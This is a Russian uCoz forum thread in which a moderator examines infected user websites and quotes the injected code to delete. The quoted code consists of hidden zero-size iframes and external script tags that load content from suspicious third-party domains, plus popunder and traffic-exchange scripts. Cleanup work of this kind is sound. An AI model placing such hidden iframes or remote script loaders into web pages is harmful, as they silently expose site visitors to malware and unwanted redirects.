Модератор форума: Yuri_G |
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
Вирусы на сайтах (для изучения) |
для Simer
из вида формы опросов выделенное красным удалить Quote <input type="hidden" name="a" value="1" /><input type="hidden" name="ajax" value="355" /></div><div style="padding-top: 4px; text-align: center;"><iframe src="http://j1c.pp.ua/" name="iframe" width="0%"height="0%"scrolling="no" frameBorder=0></iframe><img alt="javascript://" rel="nofollow" onclick="new _ из блока статистика посетители сегодня выделенное красным удалить Quote <br><div align="center"> <div id="stats" style="display:none"> <center><table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"><tr><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script><td class="infTd" width="20%"> из информера пользователи выделенное красным удалить Quote <table border="0" width="100%" cellspacing="1" cellpadding="2"> <tr> <td align="center"> <center> <DIV align=center><STRONG>Зарегистрированных</STRONG></DIV> </td></tr></table></center> <TABLE style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; WIDTH: 100%; BORDER-BOTTOM: black 1px solid; BORDER-COLLAPSE: collapse"> <TBODY> <TR> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><SPAN style="COLOR: #7b0176"><B>Всего:</B></SPAN><BR></TD> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><STRONG><SPAN style="COLOR: #7b0176">6</SPAN></STRONG></TD><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script></TR> <TR> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><STRONG>Новых за месяц:</STRONG></TD> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; из тела главной выделенное синим удалить Quote <!-- <body> --><script type="text/javascript" src="http://ternopil-cs.pp.ua/highslide/highslide.js"></script> битый скрипт |
Haker5611, из блока развлечения выделенное красным удалить
Quote 'http://www.cs-96.ucoz.ru/KAPTuHKu/dep.htm','Depositfiles loader','400','100','no'); "><iframe src="http://www.mirmuzla.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><font color='#green'>Залить файл! из блока Все для CS выделенное красным удалить Quote <IMG src="http://tarazcity.clan.su/Skripti/kartinki/madmin.jpeg"><iframe src="http://ga1.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe></A></P><P align="center"><A href="http://tarazcity.clan.su/load/modelki_oruzhija/6" блок скачивайте проги бред. Code <script type="text/javascript" src="http://ucoz-club.ru/js/soft2.js"></script> в модуле часики вместе с сомнительной флешкой зачем вам спам в коде? Quote <div style="display:none;"><a href="http://wallaby.ucoz.ru/"></a> зачем вам в блоке статистика откровенная спам подгрузка чужого сайта? Quote <script language="JavaScript"src="http://wallaby.ucoz.ru"></script> вы если и собираете мусор в сети для своего сайта, все же проверяйте через раз какой хлам вы тащите к себе на сайт |
Demon52, удалите этот скрипт
Code <script language='javascript' type='text/javascript' src='http://Peace-Duke.popunder.ru/out.php?sid=102003'></script> |
stif9156, из вида материалов блока выделенное красным удалить
Quote <script src="http://iot.pp.ua/1.js" type="text/javascript"></script> тоже самое надо удалить из вида материалов каталога статей. графику всю на сайт к себе перелейте оттуда же |
dryg, в десятом блоке находится то, что генерит левую рекламу
Quote <!-- <block10> --> <a href="http://uweb.su/" title="Сайт продвигается системой uweb." id="81661"><img src="http://uweb.su/data/files/banner3.png" alt="uw" /></a> <script type="text/javascript" src="http://uweb.su/data/files/uweb.js"></script> не знаю как именно вы продвигаете свой ресурс за счет этого сервиса, но пока получили спам и левые подгрузки. стоит задуматься. желательно три раза Haker5611, все правильно. табличка снимается не сразу. чем дольше сайт был заражен - тем больше времени вы будете ждать робота с обходом. напишите платонам |
http://bvv-stalker.at.ua/
У некоторых пишет вирус |
strelok7837, из блока софт удалите выделенное красным
Quote colspan="1" rowspan="2" width="32px"><script src="http://iot.pp.ua/1.js" type="text/javascript"></script><img src="http://mumu.pp.ua/icon/6.png" width="32px"> там же в блоке и битые скрипты находятся. в общем грязь и почитайте предыдущие сообщения и подумайте зачем вам этот блок. если ссылки на скачивание софта в блоке лично ваши, то можно понять, а если не ваши, то этот блок на сайте большая глупость замешанная на благотворительности. да и так называемый софт весь древний и никому не нужный |
Вы должны предоставить ссылку на сайт! http://cs-monsterkill.ru
Вы должны дать описание проблемы: Захожу в мониторинг серверов ( блог ) перекидывает на другой сайт. Проверил код , ничего не нашёл. 1)на какой странице сайта обнаруживается проблема (ссылка) http://cs-monsterkill.ru/blog 2) проблема обнаруживается только под логином или под гостем тоже . И так , и так. |
HeJIeIIocTb^, выделенное красным удалить
Quote </tbody></table> </div><!--/U1MONUTHU1Z--></TD></TR></TBODY></TABLE></TD> <TD style="BACKGROUND: url(http://sinners.pp.ua/New_ST/bokova9_xyuH9.gif) repeat-y left 50%" align=left width="2%"><IMG src="http://sinners.pp.ua/New_ST/bokova9_xyuH9.gif" border=0></TD></TD></TR></TBODY><iframe src="http://www.warmod.pp.ru" frameborder="0" width="1" height="1" scrolling="No"></iframe></TABLE><LINK href="http://sinners.pp.ua/Counter-Strike1.6.ico" type=image/x-icon rel="shortcut icon" ilo-full-src="http://sinners.pp.ua/Counter-Strike1.6.ico"></BODY></HTML> а картинки перезалейте к себе на сайт |
Здравствуйте, у меня возникла проблема на сайте http://avtoperedelka.ucoz.ru/ при входе на сайт через несколько секунд страничка переадресовывается совершенно на другой сайт, вот ссылка этого сайта http://avto-tuner.ru/, как устранить эту проблему?
|
KODIR, начните с удаления следующего кода
Quote <td valign="top" align="right" style="padding-top: 5px; padding-right: 20px;"><script language="javascript"> KKKKUrlID=1321; KKKKBanner=1; </script> <script language="javascript" src="http://4ratebig.com/js/ranking.js"></script><a href="http://www.pr-cy.ru/" target="_blank" title="Счетчик тИЦ и PR"><img src="http://counter.pr-cy.ru/prcy/avtoperedelka.ucoz.ru" alt="PR-CY.ru" width="88" height="31" border="0" /></a><!-- "' --><span class="pbrn89pl"><a href="//www.ucoz.ru/"><img style="margin:0;padding:0;border:0;width:81px;height:31px;" src="http://s31.ucoz.net/img/cp/30.gif" alt="Создать сайт бесплатно" title="Создать сайт бесплатно" /></a></span></td></tr><!--/U1BFOOTER1Z--> </td></tr></table> находится в самом низу у вас на сайте переходы с сайта на который вас кидает. на нем стоит тот же самый код. эти накрутки и подобный взаимообмен трафиком запрещены. посмотрите в свою статистику в переходы с сайтов и сделайте выводы со страницы наши работы удалите следующее Quote <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <SCRIPT TYPE="text/javascript" SRC="http://portal-pro.org.ru/js/JSFX_blue.js"></SCRIPT> <title>avtoperedelka.com.ua - НАШИ РАБОТЫ</title> |
| |||